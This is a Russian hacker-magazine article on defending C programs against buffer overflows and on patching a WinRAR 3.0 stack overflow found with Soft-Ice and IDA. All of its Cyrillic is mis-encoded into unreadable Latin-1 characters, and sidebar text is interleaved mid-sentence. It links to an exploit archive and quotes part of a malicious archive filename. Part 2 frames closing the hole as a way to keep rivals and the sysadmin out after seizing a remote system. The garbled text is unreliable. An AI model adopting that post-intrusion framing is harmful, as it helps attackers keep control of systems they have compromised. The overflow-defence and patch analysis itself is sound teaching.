òèì overflow.exe. Òåïåðü, åñëè ïî çàï-
ðîñó "Enter string:" ââåñòè ñòðîêó
äëèííåå 10 ñèìâîëîâ, ïðèëîæåíèå âû-
ëåòèò ñ îøèáêîé.

Àâàðèéíîå çàâåðøåíèå ïðîèñõî-
äèò ïî î÷åíü ïðîñòîé ïðè÷èíå: â
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Äëÿ áåçî-
ïàñíîñòè
âìåñòî
ôóíêöèé
strcpy, gets,
sprintf â
ïðîãðàììå
ëó÷øå èñ-
ïîëüçîâàòü
èõ áåçîïàñ-
íûå àíàëîãè -
strncpy,
fgets,
snprintf.

Àâòîìàòè-
÷åñêèé
êîíòðîëü
ïåðåïîëíå-
íèÿ ìàññè-
âîâ åñòü è â
äðóãèõ êîì-
ïèëÿòîðàõ
Ñ++, íàïðè-
ìåð, â
Compaq C
èëè cc èç
Alpha Linux.

Êðàñèâîå îêîøêî :-)

ÇÀÙÈÒÈÑÜ È ÇÀÌÅÒÈ!68 ÐÅÀËÈÇÀÖÈß

Âûëåòàþùåå ïðèëîæåíèå (âèä ñïåðåäè)



Ìíîãèå ðàç-
ðàáîò÷èêè
íå ó÷èòûâà-
þò ýëåìåí-
òàðíûõ âå-
ùåé, è ñïè-
ñîê äûðîê
ðàñòåò ñ
êàæäûì
äíåì.

ïðîöåäóðå overflow_proc ñòðîêà êî-
ïèðóåòñÿ èç big â buff ñ ïîìîùüþ
ñòàíäàðòíîé ôóíêöèè strcpy. Ïðîá-
ëåìà â òîì, ÷òî strcpy íå ïðîâåðÿåò,
ïîìåùàåòñÿ ëè ñòðîêà â buff, è çàòè-
ðàåò ñòåêîâûé ôðåéì. Êàê ýòîãî èç-
áåæàòü? Òóò åñòü äâà ïóòè. Âî-ïåð-
âûõ, ïðåæäå ÷åì êîïèðîâàòü ñòðîêó
â áóôåð, ìîæíî ïðîñòî ïðîâåðèòü
åå äëèíó. Åñëè îíà áîëüøå ðàçìåðà
áóôåðà, òî íå êîïèðîâàòü åå âîîá-
ùå. Ïðîâåðêó ìîæíî îðãàíèçîâàòü,
íàïðèìåð, òàê:

int overflow_proc(char* big) {
char buff[10];
if(strlen(big)<10) {
strcpy(buff, big);
} else
{ // à-à-ààà! ñïàñèòå, âçëàìûâàþò!
puts("Overflow attack detected!");
}; return 0; }

Âòîðîé ïóòü - èñïîëüçîâàòü áåçî-
ïàñíûå ôóíêöèè. Â C++ ìíîãèå ñòàí-
äàðòíûå ôóíêöèè íå ïðîâåðÿþò äëè-
íó ñòðîêè. Ýòî êàñàåòñÿ, íàïðèìåð, str-
cpy, gets, sprintf. Ïîýòîìó âìåñòî íèõ
ëó÷øå èñïîëüçîâàòü áåçîïàñíûå àíà-
ëîãè: strncpy, fgets, snprintf. Ïðè èñ-
ïîëüçîâàíèè áåçîïàñíîé ñòðîêîâîé
ôóíêöèè ïðîãðàììèñò äîëæåí â ïàðà-
ìåòðàõ ïåðåäàòü ìàêñèìàëüíûé ðàç-
ìåð ñòðîêè:

int overflow_proc(char* big) {
char buff[10];
strncpy(buff, big, 9);
return 0; }

Åñëè ñòðîêà â big áóäåò áîëüøå 9 áàéò,
â buff ñêîïèðóþòñÿ òîëüêî ïåðâûå 9
áàéò èç big. Îñòàëüíàÿ ÷àñòü ñòðîêè
("õâîñò") áóäåò îáðåçàíà áåç êàêèõ-ëèáî
ïðåäóïðåæäåíèé. Êñòàòè, î áåçîïàñíûõ
ôóíêöèÿõ. Â íàøåì ïðèìåðå, åñëè õàêåð
ââåäåò áîëüøå 255 ñèìâîëîâ, îïÿòü
âîçíèêíåò ïåðåïîëíåíèå, íî óæå â áó-

ôåðå big. Òàê ÷òî ëó÷øå â ôóíêöèè
main çàìåíèòü gets íà áåçîïàñíóþ fgets:

int main() {
char big[255];
FILE *stream = fopen("CON:", "r");
puts("Enter string:");
fgets(big, 254, stream);
overflow_proc(big);
return 0; }

Íó, âîò âðîäå áû è âñå, òåïåðü íàøå
ïðèëîæåíèå ìîæåò ñåáÿ çàùèòèòü.
Ïðàâäà íåñëîæíî? Åäåì äàëüøå.

À ÅÑËÈ ÍÅ ÑÒÐÎÊÀ?..
Äåéñòâèòåëüíî, à ÷òî åñëè â áó-

ôåð çàíîñèòñÿ íå ñòðîêà ñ çàâåðøà-
þùèì íóëåì, à ïðîñòî öåïî÷êà áàéò?
Äàííûå ïðîèçâîëüíîé ñòðóêòóðû,
ñðåäè êîòîðûõ âïîëíå ìîæåò îêà-
çàòüñÿ ïàðà-òðîéêà íóëåé? Ñîâåò òóò
îäèí - ïðîâåðÿé äëèíó äàííûõ ñàìîñ-
òîÿòåëüíî. 

Åñòü äâà îáùèõ ïðàâèëà, ñðàáàòû-
âàþùèõ â 99% ñëó÷àåâ. Ïåðâîå.
Ìíîãèå ôóíêöèè, ñ ïîìîùüþ êîòî-
ðûõ ïðîèçâîäèòñÿ ÷òåíèå â áóôåð,
ïîçâîëÿþò çàäàâàòü êîëè÷åñòâî ÷è-
òàåìûõ áàéò. Ñëåäè, ÷òîáû ýòî êîëè-
÷åñòâî íå ïðåâûñèëî ðàçìåð áóôå-
ðà! Íàïðèìåð, òû ñ÷èòûâàåøü äàí-
íûå èç ôàéëà ñ ïîìîùüþ API _lread
â áóôåð âåëè÷èíîé 255 áàéò. Âñåãäà
ïðîâåðÿé, ÷òîáû ïîñëåäíèé ïàðà-
ìåòð _lread áûë íå áîëüøå ýòîãî
çíà÷åíèÿ. Âòîðîå. Åñëè äëèíó äàí-
íûõ íåëüçÿ çàäàòü ÿâíî - åå ìîæíî
óçíàòü ñ ïîìîùüþ êàêîé-òî ñïåöè-
àëüíîé ôóíêöèè! Íàïðèìåð, òû ÷èòà-
åøü èç ñîêåòà ñ ïîìîùüþ API recv.
×òîáû óçíàòü êîëè÷åñòâî áàéò, èñ-
ïîëüçóé API ioctlsocket. Äðóãîé ïðè-
ìåð: òû ïðåîáðàçîâûâàåøü îáû÷-
íóþ ñòðîêó â UNICODE. ×òîáû óç-
íàòü, êàêîé áóôåð äëÿ ýòîãî ïîíàäî-
áèòñÿ, âûçîâè API
MultiByteToWideChar ñ íóëåâûì ïîñ-

ëåäíèì ïàðàìåòðîì. Ïðèìåðîâ ìîæ-
íî ïðèâåñòè ìíîãî. Äóìàé ãîëîâîé è
íå ëåíèñü çàãëÿäûâàòü â MSDN.

ÑËÎÂÎ ÏÐÅÄÎÑÒÀÂËßÅÒÑß
ÊÀÍÀÐÅÉÊÅ, ÈËÈ ×ÒÎ ÄÅËÀÒÜ,
ÅÑËÈ ÍÈ×ÅÃÎ ÍÅ ÏÎÌÎÃËÎ

Íî òåïåðü ïðåäïîëîæèì òàêóþ ñèòó-
àöèþ. Äîïóñòèì, ïåðåä çàïèñüþ â áó-
ôåð òû ïî÷åìó-òî íå ìîæåøü ÿâíî çà-
äàòü èëè ïðîâåðèòü äëèíó äàííûõ.
×òî òîãäà? Îñòàâèòü äûðêó, íàäåÿñü,
÷òî åå íèêîãäà íå íàéäóò?

Ïðè òàêîì ðàñêëàäå ÿ ìîãó òåáå ïî-
ñîâåòîâàòü ïðîñòîé ñïîñîá çàùèòû.
Åãî íàçûâàþò çàùèòîé íà îñíîâå
canary word. Ñóòü åãî âîò â ÷åì: åùå
ïðè îáúÿâëåíèè áóôåðà åãî äåëàþò
íà 4 áàéòà áîëüøå. "Ëèøíèå" 4 áàéòà
â êîíöå áóôåðà èñïîëüçóþòñÿ äëÿ
êîíòðîëÿ åãî öåëîñòíîñòè. Ïåðåä òåì
êàê çàïèñûâàòü ÷òî-ëèáî â áóôåð, ãå-
íåðèðóåòñÿ ñëó÷àéíîå äâîéíîå ñëîâî -
òàê íàçûâàåìîå canary word, êîòîðîå
çàíîñèòñÿ îäíîâðåìåííî â ãëîáàëü-
íóþ ïåðåìåííóþ è â ïîñëåäíèå 4 áàé-
òà áóôåðà. Òåïåðü, åñëè ïðè çàïèñè â
áóôåð ïðîèçîéäåò ïåðåïîëíåíèå,
canary word â êîíöå áóôåðà áóäåò çà-
òåðòî êîäîì ýêñïëîèòà. Èëëþñòðàöèþ
ýòîãî òû ìîæåøü óâèäåòü íà ñêðèíå.

Ãëîáàëüíàÿ ïåðåìåííàÿ ïðè ýòîì íå
ïîñòðàäàåò. Òàê ÷òî ïîñëå çàïèñè â áó-
ôåð äîñòàòî÷íî ñðàâíèòü canary word
â ãëîáàëüíîé ïåðåìåííîé ñ canary
word â áóôåðå. Ñîâïàäàþò - âñå îk,
íåò - áóôåð ïåðåïîëíåí, àõòóíã! 

Òåïåðü âîçüìåì òî íåñ÷àñòíîå ïðèëî-
æåíèå, êîòîðîå ìû ïûòàëèñü óáåðå÷ü
îò ïåðåïîëíåíèÿ ñòðîêîé. ×òîáû çàùè-
òèòü áóôåð ñ ïîìîùüþ canary word,
äîñòàòî÷íî äîáàâèòü ïàðó ñòðî÷åê â èñ-
õîäíûé êîä óÿçâèìîé ïðîöåäóðû:

static DWORD CanaryWord;
int overflow_proc(char* big) {

char buff[10+4];
CanaryWord = GetTickCount();
*((DWORD*)&buff[11]) = CanaryWord;
strcpy(buff, big);

if(*((DWORD*)&buff[11])!=CanaryWord) {
MessageBox(0, "Buffer overflow detected!", \

"Warning!", MB_OK+MB_ICONWARNING);
ExitProcess(0);
}; return 0; }
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Çà÷åì ãåíå-
ðèòü canary
word ñëó-
÷àéíî? Çà-
òåì ÷òî, åñ-
ëè canary
word áóäåò
êàêîé-òî
æåñòêî çà-
äàííîé
êîíñòàíòîé,
õàêåð ñìî-
æåò íàêî-
äèòü
ýêñïëîèò, â
êîòîðîì ïî
çàðàíåå
ðàññ÷èòàí-
íîìó ñìå-
ùåíèþ áó-
äåò ëåæàòü
ýòà êîíñ-
òàíòà.

Ê ñîæàëå-
íèþ, óíè-
âåðñàëüíîãî
ñïîñîáà
ïðîâåðêè
äëèíû äàí-
íûõ ïðîèç-
âîëüíîé
ñòðóêòóðû,
çàíîñèìûõ
â áóôåð, íå
ñóùåñòâóåò
:-(.

Ïåðåïîëíåíèå ñòåêà èäåò îò íèæíèõ
àäðåñîâ ê âåðõíèì (âäîëü æåëòîé
ñòðåëêè). Ïî äîðîãå ê àäðåñó âîçâðàòà
êîä ýêñïëîèòà çàòèðàåò canary word

Êðîìå ýëåìåíòàðíûõ ïðèåìîâ çàùèòû, ñóùåñòâóþò è áîëåå íà-
âîðî÷åííûå òåõíèêè. Îäíà èç íèõ - íåèñïîëíÿåìûé ñòåê. Î íåì ÿ
ðàññêàæó ëèøü âêðàòöå. Èäåÿ ñîñòîèò â ïðèñâàèâàíèè ñåãìåíòàì
ñòåêà è äàííûõ àòðèáóòû òîëüêî çàïèñè è ÷òåíèÿ. Ýòî ïîçâîëÿåò çà-
ùèòèòü ïðèëîæåíèå îò âíåäðåíèÿ èñïîëíÿåìîãî êîäà, íî íå ñïàñà-
åò îò äðóãèõ âèäîâ àòàê (íàïðèìåð, îò ïîääåëêè ñòðóêòóð). Íåèñïîë-
íÿåìûé ñòåê òàêæå ïëîõî ñîâìåñòèì ñ êîìïèëÿòîðàìè è èíòåðïðå-
òàòîðàìè, êîòîðûå ÷àñòî ãåíåðèðóþò è âûïîëíÿþò êîä äèíàìè÷åñ-
êè. Ñóùåñòâóåò íåñêîëüêî ðåàëèçàöèé íåèñïîëíÿåìîãî ñòåêà â âè-
äå ïàò÷åé ê ÎÑ Solaris è Linux, íî âñå îíè íå î÷åíü óäà÷íû. Âîò, ïî-
æàëóé, è âñå.

ÍÅÌÍÎÃÎ ÝÊÇÎÒÈÊÈ: ÍÅÈÑÏÎËÍßÅÌÛÉ ÑÒÅÊ

Ìèíçäðàâ ïðåäóïðåæäàåò: ÷òåíèå
òîëêîâîé äîêóìåíòàöèè âûçûâàåò

ïðèâûêàíèå! :)



Íàó÷èâøèñü
çàêðûâàòü
äûðû â ÷ó-
æèõ ïðîã-
ðàììàõ, òû
ïåðåñòà-
íåøü çàâè-
ñåòü îò ðàç-
ðàáîò÷èêîâ.
Îáíàðóæèâ
óÿçâèìîñòü
â êàêîì-íè-
áóäü ïðèëî-
æåíèè, òû
ñìîæåøü
ñàì íàïè-
ñàòü çàï-
ëàòêó.

Êàê âèäèøü, âñå ýëåìåíòàðíî. Ñíà-
÷àëà ïîëó÷àåì ñanary word. Äëÿ ýòîãî
èñïîëüçóåì API GetTickCount, êîòîðàÿ
âîçâðàùàåò êîëè÷åñòâî ìèêðîñåêóíä,
ïðîøåäøèõ ñ ìîìåíòà âêëþ÷åíèÿ
êîìïüþòåðà. Ýòî çíà÷åíèå, êîíå÷íî,
íå ñëó÷àéíîå, íî ïðåäñêàçàòü åãî çà-
ðàíåå àáñîëþòíî òî÷íî ïî÷òè íåðå-
àëüíî. Çàòåì ñanary word çàíîñèòñÿ â
ãëîáàëüíóþ ïåðåìåííóþ CanaryWord
è â ïîñëåäíèå 4 áàéòà áóôåðà. Ïðîèç-
âîäèòñÿ ÷òåíèå â áóôåð. Ñðàçó ïîñëå
÷òåíèÿ, äî return, ñðàâíèâàåòñÿ
CanaryWord è ïîñëåäíèå 4 áàéòà â áó-
ôåðå. Åñëè ðåçóëüòàò ñðàâíåíèÿ ïî-
ëîæèòåëüíûé - áóôåð íå ïåðåïîëíåí.
Åñëè îòðèöàòåëüíûé - âûäàäèì ñîîá-
ùåíèè î âîçìîæíîé àòàêå è çàâåð-
øèì ðàáîòó ïðîãðàììû. Äëÿ çàâåðøå-
íèÿ èñïîëüçóåì API ExitProcess. Ýòîò
è äðóãèå èñõîäíèêè ê ïåðâîé ÷àñòè òû
ìîæåøü íàéòè íà äèñêå, ïðèëàãàþ-
ùåìñÿ ê æóðíàëó. Âîò è âñå :-).

5 ÏÐÀÂÈË ÁÅÇÎÏÀÑÍÎÃÎ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß

Îòïå÷àòàòü êðóïíûìè áóêâàìè è
ïîâåñèòü íàä ìîíèòîðîì!
1. Ïåðåä òåì êàê ñêîïèðîâàòü ñòðî-

êó â áóôåð, ïðîâåðÿé åå äëèíó.
2. Âåçäå, ãäå òîëüêî ìîæíî, ïîëü-

çóéñÿ áåçîïàñíûìè ôóíêöèÿìè äëÿ
ðàáîòû ñî ñòðîêàìè.
3. Ïðîâåðÿé èëè ÿâíî óêàçûâàé

äëèíó äàííûõ, êîòîðûå çàïèñûâàåøü
â áóôåð.
4. Åñëè ïðîâåðèòü èëè ÿâíî óêàçàòü

äëèíó äàííûõ íåëüçÿ - êîíòðîëèðóé
ïåðåïîëíåíèå ñ ïîìîùüþ canary
word.
5. Äóìàé ãîëîâîé, à íå... [âûðåçàíî

öåíçóðîé].

×ÀÑÒÜ 2. 
ÍÅ ÇÀÁÛÂÀÉÒÅ ÇÀÊÐÛÂÀÒÜ ÇÀ
ÑÎÁÎÉ� ÄÂÅÐÈ. DO IT!

ÇÀ×ÅÌ ÍÀÌ ÝÒÎ ÍÀÄÎ?
×òî çà òîïîò?.. Ýòî ðàçðàáîò÷èêè

ïðî÷èòàëè ïåðâóþ ÷àñòü è ïîáåæàëè
ïèñàòü áåçîïàñíûå ïðîãðàììû ;-). Îñ-
òàëèñü òîëüêî ìû ñ òîáîé. ×òî æ, òå-
ïåðü ìîæíî ðàññëàáèòüñÿ è ïîãîâî-
ðèòü î ÷åì-òî ïðèÿòíîì. Íàïðèìåð, î
òîì, êàê çàêðûòü óÿçâèìîñòü â ïðîã-
ðàììå, íå èìåÿ åå èñõîäíèêîâ. Äîïóñ-
òèì, òû íàïèñàë ýêñïëîèò è óñïåøíî
àòàêîâàë óäàëåííóþ ñèñòåìó. Òåïåðü
ó òåáÿ íàä íåé ïîëíûé êîíòðîëü. ×òî
äàëüøå? À äàëüøå ïåðâûì äåëîì
íóæíî èçáàâèòüñÿ îò âîçìîæíûõ êîí-
êóðåíòîâ. Âåäü äûðà, ÷åðåç êîòîðóþ
òû âëåç, íèêóäà íå äåëàñü! ×åðåç íåå
ñëåäîì çà òîáîé ìîæåò ñïîêîéíî
âëåçòü åùå êòî-òî. Èëè åå íàéäåò ñè-
ñàäìèí òîé æå óäàëåííîé ñèñòåìû. Òå-
áå ýòî íàäî? Íåò! Çíà÷èò íóæíî äûðó
çàêðûòü. 

Êàæäàÿ äûðêà, íàéäåííàÿ â ÷óæîé
ïðîãðàììå, òðåáóåò òùàòåëüíîãî èñ-
ñëåäîâàíèÿ è òâîð÷åñêîãî ïîäõîäà.
Ïîýòîìó, åñëè õî÷åøü ÷åìó-òî íàó-

÷èòüñÿ, íóæíî ïðàêòèêîâàòüñÿ. Âîò ìû
ñåãîäíÿ è ïîïðàêòèêóåìñÿ. À â êà÷åñò-
âå æåðòâû âûáåðåì íàèáîëåå ïîïó-
ëÿðíûé àðõèâàòîð... ×òî çíà÷èò êà-
êîé? Êîíå÷íî, WinRAR! Äëÿ ðàáîòû
íàì ïîíàäîáÿòñÿ Soft-Ice, IDA è HIEW.

ÈÑÑËÅÄÎÂÀÍÈÅ WINRAR 3.0
Èçâåñòíî, ÷òî WinRAR âåðñèé 3.1

è íèæå óÿçâèì. Åñëè ïîäñóíóòü åìó
àðõèâ, â êîòîðîì ñîäåðæèòñÿ ôàéë ñ
ðàñøèðåíèåì, ñîäåðæàùèì áîëüøå
260 ñèìâîëîâ, ìîæíî âûçâàòü ïåðå-
ïîëíåíèå áóôåðà. Ïåðåïîëíåíèå
ïðîèñõîäèò â ìîäóëå winrar.exe ïðè
ïîïûòêå îòîáðàçèòü ñîäåðæèìîå òà-
êîãî àðõèâà â ListView. Ïðè÷èíà - íå-
êîððåêòíàÿ îáðàáîòêà äëèííûõ
ñòðîê. Òèïè÷íûé ñòðîêîâîé overflow.
×òî æ, âîçüìåì WinRAR 3.0 rus è
ïîïðîáóåì çàêðûòü ýòó óÿçâèìîñòü.
Ñíà÷àëà íóæíî èññëåäîâàòü
winrar.exe è íàéòè àäðåñ óÿçâèìîé
ïðîöåäóðû. Íà âñÿêèé ñëó÷àé ñïåðâà
èùåì â èíåòå: ìîæåò, êòî-òî óæå èñ-
ñëåäîâàë äûðó è îïóáëèêîâàë ðå-
çóëüòàòû. Òîãäà íàì îñòàíåòñÿ òîëü-
êî îçíàêîìèòüñÿ ñ ýòèìè ðåçóëüòàòà-
ìè è íàïèñàòü ïàò÷. Íî, óâû, security-
ïîðòàëû îãðàíè÷èâàþòñÿ ëèøü îá-
ùèìè çàìå÷àíèÿìè è ñîâåòàìè :(.
Ïðèäåòñÿ âûêîâûðèâàòü àäðåñ óÿç-
âèìîñòè ñàìèì. Çàòî çäåñü:
http://www.securityfocus.com/data/vulnerabili-
ties/exploits/wrar310.zip íàì óäàåòñÿ ñêà-
÷àòü àðõèâ ñ óòèëèòîé, êîòîðóþ âèð-
ìåéêåðñêàÿ ãðóïïà 29A íàïèñàëà
ñïåöèàëüíî äëÿ ãåíåðàöèè "êðèâûõ"
RAR-àðõèâîâ, âûçûâàþùèõ ïåðåïîë-
íåíèå. Òàêæå â wrar310.zip, êðîìå ñà-
ìîé óòèëèòêè, åñòü ñãåíåðèðîâàííûé
åþ ïðèìåð - ôàéë 29A.RAR. Ïðåêðàñ-
íî! Òåïåðü õîòü íå ïðèäåòñÿ èçó÷àòü
âíóòðåííèé ôîðìàò ôàéëîâ .RAR è
äåëàòü "êðèâîé" àðõèâ â HEX-ðåäàê-
òîðå âðó÷íóþ. Ïðèñòóïèì. Çàïóñòèì
cmd.exe è ïîñìîòðèì ñîäåðæèìîå àð-
õèâà 29A.RAR ñ ïîìîùüþ rar.exe (íå
áîéñÿ, rar.exe ìîæíî ïîëüçîâàòüñÿ
ñïîêîéíî - îí áåç äûðîê). Íàáåðåì â
êîìàíäíîé ñòðîêå: rar l 29A.RAR.
Âèäíî, ÷òî â 29A.RAR ñîäåðæèòñÿ
îäèí ôàéë íóëåâîé äëèíû ñ èìåíåì

"AAAAAA.j YIQhmeu!hera hcu shSeu
T..." - íó, äàëüøå ñàì ïîñìîòðèøü,
âñå-òàêè òàì ðàñøèðåíèå áîëüøå
260 áàéò ;-).

Òåïåðü çàïóñòèì winrar.exe. Ïîïðî-
áóåì îòêðûòü 29A.RAR... Îïà! Äî áîëè
çíàêîìîå îêîøêî!

Çàïîìíèì "àâàðèéíûé" àäðåñ
0x486723, çàêðîåì WinRAR. Ñ ïî-
ìîùüþ Symbol Loader çàãðóçèì win-
rar.exe â Soft-Ice. Symbol Loader ìà-
òþãíåòñÿ íà îòñóòñòâèå îòëàäî÷íîé
èíôîðìàöèè, íî winrar.exe çàãðóçèò.
Ïîñòàâèì áðýéêïîèíò è âûéäåì èç îò-
ëàä÷èêà:

:bpx 486723
:x

Ñíîâà ïîïðîáóåì îòêðûòü 29A.RAR.
Áðýéêïîèíò ñðàáàòûâàåò, âñïëûâàåò
îêíî îòëàäêè. EIP óêàçûâàåò íà
èíñòðóêöèþ 001B:00486723 | ADD
[EAX],AL. Èìåííî îíà ïðèâîäèò ê àâà-
ðèéíîìó çàâåðøåíèþ. Ïîñêîëüêó ìû
èìååì äåëî ñ ïåðåïîëíåíèåì ñòåêà,
óïðàâëåíèå íà ýòó "ñìåðòåëüíóþ"
èíñòðóêöèþ, ñêîðåå âñåãî, ïåðåäàåòñÿ
èíñòðóêöèåé ret. Ïîñìîòðèì, êàêîå
ñëîâî ëåæàëî íà ñòåêå íåïîñðåä-
ñòâåííî ïåðåä òåì, êàê ret âûïîëíè-
ëàñü (ïîñêîëüêó ìû èìååì äåëî ñî
ñòåêîì, ó òåáÿ âìåñòî 0x00125A68
âïîëíå ìîæåò áûòü êàêîé-òî äðóãîé
àäðåñ):

:dd esp-4
0010:00125A68 | 0048671A 001270B6
001270B0 00128DE0 | .gH..p..p..
0010:00125A78 | 00000000 001270B6
00125BA0 0044F2D2 | ....p..[..D
Ïîëó÷àåòñÿ, ÷òî óïðàâëåíèå ïåðåäàåòñÿ
íà àäðåñ 0x0048671A. Ïîñìîòðèì, ÷òî 
ëåæèò ïî ýòîìó àäðåñó (:u 48671A). 
Â îêíå êîäà âèäèì:
......
001B:0048671A | ADD EAX, 00000000
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Áîëüøîé
ïëþñ çàùè-
òû íà îñíî-
âå canary
word â òîì,
÷òî îíà
óíèâåðñàëü-
íà è ìîæåò
ïðèìåíÿòü-
ñÿ äëÿ çà-
ùèòû ëþáî-
ãî áóôåðà,
ãäå áû îí
íè íàõîäèë-
ñÿ. Êðîìå
òîãî, ýòà
òåõíèêà
ïî÷òè íå
çàìåäëÿåò
ðàáîòó
ïðîãðàììû.

Âïåðâûå çà-
ùèòà íà îñ-
íîâå canary
word áûëà
ðåàëèçîâàíà
â ïðîåêòå
Synthetix â
âèäå îïöèè
êîìïèëÿòî-
ðà. Ðàçìåð
áóôåðîâ
ïðè ñáîðêå
êîððåêòèðî-
âàëñÿ àâòî-
ìàòè÷åñêè,
ïðîâåðêè
âñòðàèâà-
ëèñü â ãåíå-
ðèðóåìûé
êîä.

Ðåçóëüòàò ðàáîòû rar l 29A.RAR

Ïåðåïîëíåíèå ñòåêà â WinRAR 3.0 rus

ÇÀÙÈÒÈÑÜ È ÇÀÌÅÒÈ!70 ÐÅÀËÈÇÀÖÈß

Çàïîëíÿÿ áóôåð, îñòîðîæåí áóäü. 
Ïàðà ëèøíèõ áàéòîâ - ê overflow ïóòü!



001B:0048671F | ADD AH, AH
001B:00486721 | DEC AX
001B:00486723 | ADD [EAX],AL ; <-- it's just a
little crash...
......

Ðàíåå ìû óæå âûÿñíèëè, ÷òî ê àâà-
ðèéíîìó çàâåðøåíèþ ïðèâîäèò
èíñòðóêöèÿ ïî àäðåñó 0x00486723.
Òåïåðü ìû çíàåì, ÷òî ïåðåä íåé âû-
ïîëíÿþòñÿ åùå òðè èíñòðóêöèè. Óæå
êîå-÷òî... Âûéäåì èç îòëàä÷èêà è ïî-
äóìàåì (WinRAR òåì âðåìåíåì îïÿòü
çàâàëèòñÿ ;-)). Ôàêòè÷åñêè ïðè÷èíîé
ïåðåäà÷è óïðàâëåíèÿ íà 0x0048671A
ÿâëÿåòñÿ äâîéíîå ñëîâî, çàïèñàííîå
ïî àäðåñó 0x00125A68. Çíà÷èò, íóæíî
îòëîâèòü èíñòðóêöèþ, êîòîðàÿ ýòî
äâîéíîå ñëîâî òóäà çàïèñûâàåò.
Îïÿòü çàãðóæàåì winrar.exe â Soft-Ice.
Ñòàâèì áðåéêïîèíò íà ïàìÿòü
0x00125A68 :bpm 00125A68. Îãî! Íà
ýòîì áðåéêïîèíòå WinRAR ïîñòîÿííî
âûëåòàåò â îòëàäêó. È ýòî îí åùå äà-
æå îêíî íå óñïåë ñîçäàòü! Âîèñòèíó
ïðîãðàììû íà C++ ìíîãî ðàáîòàþò ñî
ñòåêîì. Âðåìåííî îòêëþ÷èì ïîñòàâ-
ëåííûé áðåéêïîèíò: :bd * , ïîäâåäåì
êóðñîð ê 29A.RAR, âêëþ÷èì ïîñòàâ-
ëåííûé áðåéêïîèíò - :be *. Ïîïûòàåì-
ñÿ îòêðûòü 29A.RAR. Êàæäûé ðàç, êîã-
äà áóäåò âñïëûâàòü îêíî îòëàä÷èêà (à
òàêèõ ðàçîâ áóäåò áîëüøå äåñÿòêà),
áóäåì ïðîâåðÿòü, íå çàïèñàíî ëè ïî
àäðåñó 0x00125A68 äâîéíîå ñëîâî
0x0048671A - :dd 00125A68. Â êîíöå
êîíöîâ ìû ïîéìàåì íåêóþ èíñòðóê-
öèþ ïî àäðåñó 0x0047366A:

......
001B:00473659 | CLD
001B:0047366A | REPE MOVSD ; <-- âîò îíî!
001B:00473673 | POP EDI
......

Îíà è çàíîñèò â 0x00125A68 èíòåðå-
ñóþùåå íàñ äâîéíîå ñëîâî. Ïîñìîò-
ðèì íà ïîéìàííûé êîä. Ïîõîæå íà
âíóòðåííîñòè êàêîé-òî ñòðîêîâîé
HLL-ôóíêöèè, ïðàâäà? Çàïîìíèì àä-
ðåñ 0x0047366A è íà âñÿêèé ñëó÷àé
íàæìåì F12. Åñëè àäðåñ 0x0047366A -
äåéñòâèòåëüíî ÷àñòü ôóíêöèè, íóæíî
óçíàòü, îòêóäà åå âûçâàëè. Îñòàíîâêà
ïðîèñõîäèò íà àäðåñå 0x00453D69:

......
001B:00453D63 | PUSH ECX
001B:00453D64 | CALL 473648 ; <-- èíòåðåñó-
þùèé íàñ âûçîâ
001B:00453D69 | ADD ESP, 8
......

Çàïîìíèì è åãî òîæå. Îòêëþ÷èì âñå
áðåéêïîèíòû è âûéäåì èç îòëàäêè. Çàã-
ðóçèì WinRAR â IDA. Ïîêà IDA åãî äè-
çàññåìáëèðóåò, ïîéäåì ïîïüåì ïèâà. 

Êîãäà âåðíåìñÿ, ïîñìîòðèì, êóäà
óêàçûâàåò àäðåñ 0x0047366A. À îí
óêàçûâàåò â ñåðåäèíó ôóíêöèè ñðàâ-
íåíèÿ ñòðîê. Ðàçáåðåìñÿ, êàê îíà ðà-
áîòàåò.

Ôóíêöèÿ ñíà÷àëà íàõîäèò äëèíó
ñòðîêè, êîòîðóþ íóæíî ñêîïèðîâàòü.

Çàòåì ñ ïîìîùüþ äâóõ ïîñëåäîâà-
òåëüíûõ ñäâèãîâ íà 1 áèò âïðàâî íàöå-
ëî äåëèò ýòó äëèíó íà 4 - ïîëó÷àåòñÿ
ðàçìåð ñòðîêè, âûðàæåííûé â äâîé-
íûõ ñëîâàõ. Ïðàâäà, ïîëó÷åííûé ðàç-
ìåð îáÿçàòåëüíî êðàòåí 4, ïîýòîìó,
åñëè äëèíà ñòðîêè íå äåëèòñÿ íàöåëî
íà 4, òåðÿåòñÿ îñòàòîê ("õâîñòèê"
ñòðîêè â 1, 2 èëè 3 áàéòà äëèíîé). Ïðî-
èñõîäèò êîïèðîâàíèå ñòðîêè äâîéíû-
ìè ñëîâàìè; åãî âûïîëíÿåò èíñòðóê-
öèÿ ïî àäðåñó 0x0047366A. Çàòåì
ôóíêöèÿ ïóòåì îáíóëåíèÿ ñòàðøèõ
30 áèòîâ ecx íàõîäèò îñòàòîê îò äåëå-
íèÿ äëèíû ñòðîêè íà 4 (ïîòåðÿííûé
ïðè ïðåäûäóùåì êîïèðîâàíèè "õâîñ-
òèê") è êîïèðóåò åãî óæå ïîáàéòíî. Òà-
êîé èäèîòñêèé, íà ïåðâûé âçãëÿä, êîä
ãåíåðèðóåòñÿ êîìïèëÿòîðîì Ñ++ äëÿ
óâåëè÷åíèÿ ñêîðîñòè. 

Çàìåòèì, ÷òî ôóíêöèÿ íèêàê íå êîíò-
ðîëèðóåò äëèíó êîïèðóåìîé ñòðîêè -
îòñþäà, î÷åâèäíî, è ïåðåïîëíåíèå áó-
ôåðà. Òåïåðü ïîñìîòðèì â IDA êîä, êî-
òîðûé âûçâàë ýòó ïðîöåäóðó ïåðåä
àâàðèéíûì çàâåðøåíèåì ïðîãðàììû.
Èäåì íà àäðåñ 0x00453D69 (ìû åãî
âûëîâèëè îòëàäêîé, ïîìíèøü?) è âè-
äèì òàì âîò ÷òî: 

loc_453D62: ; CODE XREF: sub_453D20+6j
.text:00453D62 push edx;
.text:00453D63 push ecx;
.text:00453D64 call sub_473648; <-- ñðàâíå-
íèå ñòðîê
.text:00453D69 add  esp, 8
......

Â CODE XREF - åäèíñòâåííàÿ ññûëêà.
Êëèêàåì ïî íåé, ïðèõîäèì ê ñëåäóþ-
ùåìó:

.text:00453D20 sub_453D20 proc near ;
CODE XREF: sub_453C95+Fp
.text:00453D20                      ;
sub_453CD6+Fp�
.text:00453D20 push ebx
.text:00453D21 cmp eax, 80000001h
.text:00453D26 jnz short loc_453D62
......

Ñìîòðèì CODE XREF - øåñòü ññûëîê.
×òî æ, íå òàê è ìíîãî. Âïîëíå ìîæíî
ïðîâåðèòü íà îòëàäêå. Çàãðóæàåì
